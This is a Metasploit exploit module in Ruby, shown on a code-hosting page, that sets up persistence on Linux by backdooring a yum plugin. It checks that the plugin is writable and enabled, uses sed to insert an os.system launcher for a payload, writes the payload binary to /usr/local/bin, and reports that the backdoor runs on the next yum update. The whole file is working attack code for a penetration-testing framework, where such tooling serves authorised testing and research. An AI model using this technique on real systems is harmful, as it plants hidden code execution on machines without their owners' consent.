Path: blob/master/modules/exploits/linux/persistence/yum_package_manager.rb
31919 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Post::File11include Msf::Post::Linux::System12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/yum_package_manager_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Yum Package Manager Persistence',22'Description' => %q{23This module will run a payload when the package manager is used.24This module modifies a yum plugin to launch a binary of choice.25grep -F 'enabled=1' /etc/yum/pluginconf.d/26will show what plugins are currently enabled on the system.27root persmissions are likely required.28Verified on Centos 7.129},30'License' => MSF_LICENSE,31'Author' => ['Aaron Ringo'],32'Platform' => ['linux', 'unix'],33'Arch' => [34ARCH_CMD,35ARCH_X86,36ARCH_X64,37ARCH_ARMLE,38ARCH_AARCH64,39ARCH_PPC,40ARCH_MIPSLE,41ARCH_MIPSBE42],43'SessionTypes' => ['shell', 'meterpreter'],44'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum45'References' => [46['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],47['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],48],49'Targets' => [['Automatic', {}]],50'DefaultTarget' => 0,51'Privileged' => true,52'Notes' => {53'Stability' => [CRASH_SAFE],54'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],55'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]56}57)58)5960register_options(61[62# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos63OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),64OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])65]66)6768register_advanced_options(69[70OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),71OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])72]73)74end7576def check77return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']78return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']7980# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable81plugin = datastore['PLUGIN']82full_plugin_path = "#{datastore['PluginPath']}#{plugin}"83return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path84return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path85return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'86return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'8788# /etc/yum.conf must contain plugins=1 for plugins to run at all89plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"90return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'9192vprint_good('Plugins are enabled!')9394# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=195plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"96plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"97unless plugin_enabled.include? 'enabled=1'98return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")99end100101# check that the plugin contains an import os, to backdoor102import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"103unless import_os_check.include? 'import os'104return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")105end106107CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')108end109110def install_persistence111plugin = datastore['PLUGIN']112full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"113114# plugins are made in python and generate pycs on successful execution115print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"116117# check for write in backdoor path and set/generate backdoor name118payload_path = datastore['WritableDir']119payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"120payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)121payload_path << payload_name122123# check for sed binary and then append launcher to plugin underneath124print_status('Attempting to modify plugin')125launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"126sed_path = cmd_exec 'command -v sed'127unless sed_path.include?('sed')128fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'129end130sed_line = "#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"131cmd_exec sed_line132133# actually write users payload to be executed then check for write134if payload.arch.first == 'cmd'135write_file(payload_path, payload.encoded)136else137write_file(payload_path, generate_payload_exe)138end139@clean_up_rc << "rm #{payload_path}\n"140@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""141unless exist? payload_path142fail_with Failure::Unknown, "Failed to write #{payload_path}"143end144145# change perms to reflect bins in /usr/local/bin/, give good feels146chmod(payload_path, 0o755)147print_status("Backdoor uploaded to #{payload_path}")148print_good('Backdoor will run on next Yum update')149end150end151152153